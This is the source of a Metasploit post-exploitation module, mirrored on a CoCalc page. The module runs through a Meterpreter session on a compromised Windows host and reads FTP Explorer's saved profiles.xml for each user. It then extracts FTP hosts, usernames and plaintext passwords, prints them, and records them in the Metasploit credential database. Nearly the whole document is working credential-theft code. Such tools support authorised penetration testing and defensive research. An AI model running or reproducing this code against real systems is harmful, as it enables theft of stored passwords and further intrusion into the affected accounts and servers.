Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/ftpx.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::UserProfiles
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather FTP Explorer (FTPX) Credential Extraction',
16
'Description' => %q{
17
This module finds saved login credentials for the FTP Explorer (FTPx)
18
FTP client for Windows.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [ 'bcoles' ],
22
'Platform' => [ 'win' ],
23
'SessionTypes' => [ 'meterpreter' ],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'SideEffects' => [],
27
'Reliability' => []
28
},
29
'Compat' => {
30
'Meterpreter' => {
31
'Commands' => %w[
32
core_channel_eof
33
core_channel_open
34
core_channel_read
35
core_channel_write
36
]
37
}
38
}
39
)
40
)
41
end
42
43
def run
44
grab_user_profiles.each do |user|
45
next if user['AppData'].nil?
46
47
xml = get_xml(user['AppData'] + '\\FTP Explorer\\profiles.xml')
48
unless xml.nil?
49
parse_xml(xml)
50
end
51
end
52
end
53
54
def get_xml(path)
55
connections = client.fs.file.new(path, 'r')
56
57
condata = ''
58
condata << connections.read until connections.eof
59
return condata
60
rescue Rex::Post::Meterpreter::RequestError => e
61
print_error "Error when reading #{path} (#{e.message})"
62
return nil
63
end
64
65
# Extracts the saved connection data from the XML.
66
# Reports the credentials back to the database.
67
def parse_xml(data)
68
mxml = REXML::Document.new(data).root
69
mxml.elements.to_a('//FTPx10//Profiles//').each.each do |node|
70
next if node.elements['Host'].nil?
71
next if node.elements['Login'].nil?
72
next if node.elements['Password'].nil?
73
74
host = node.elements['Host'].text
75
port = node.elements['Port'].text
76
user = node.elements['Login'].text
77
pass = node.elements['Password'].text
78
79
# skip blank passwords
80
next if !pass || pass.empty?
81
82
# show results to the user
83
print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'")
84
85
# save results to the db
86
service_data = {
87
address: Rex::Socket.getaddress(host),
88
port: port,
89
protocol: 'tcp',
90
service_name: 'ftp',
91
workspace_id: myworkspace_id
92
}
93
94
credential_data = {
95
origin_type: :session,
96
session_id: session_db_id,
97
post_reference_name: refname,
98
username: user,
99
private_data: pass,
100
private_type: :password
101
}
102
103
credential_core = create_credential(credential_data.merge(service_data))
104
105
login_data = {
106
core: credential_core,
107
access_level: 'User',
108
status: Metasploit::Model::Login::Status::UNTRIED
109
}
110
111
create_credential_login(login_data.merge(service_data))
112
end
113
end
114
end
115
116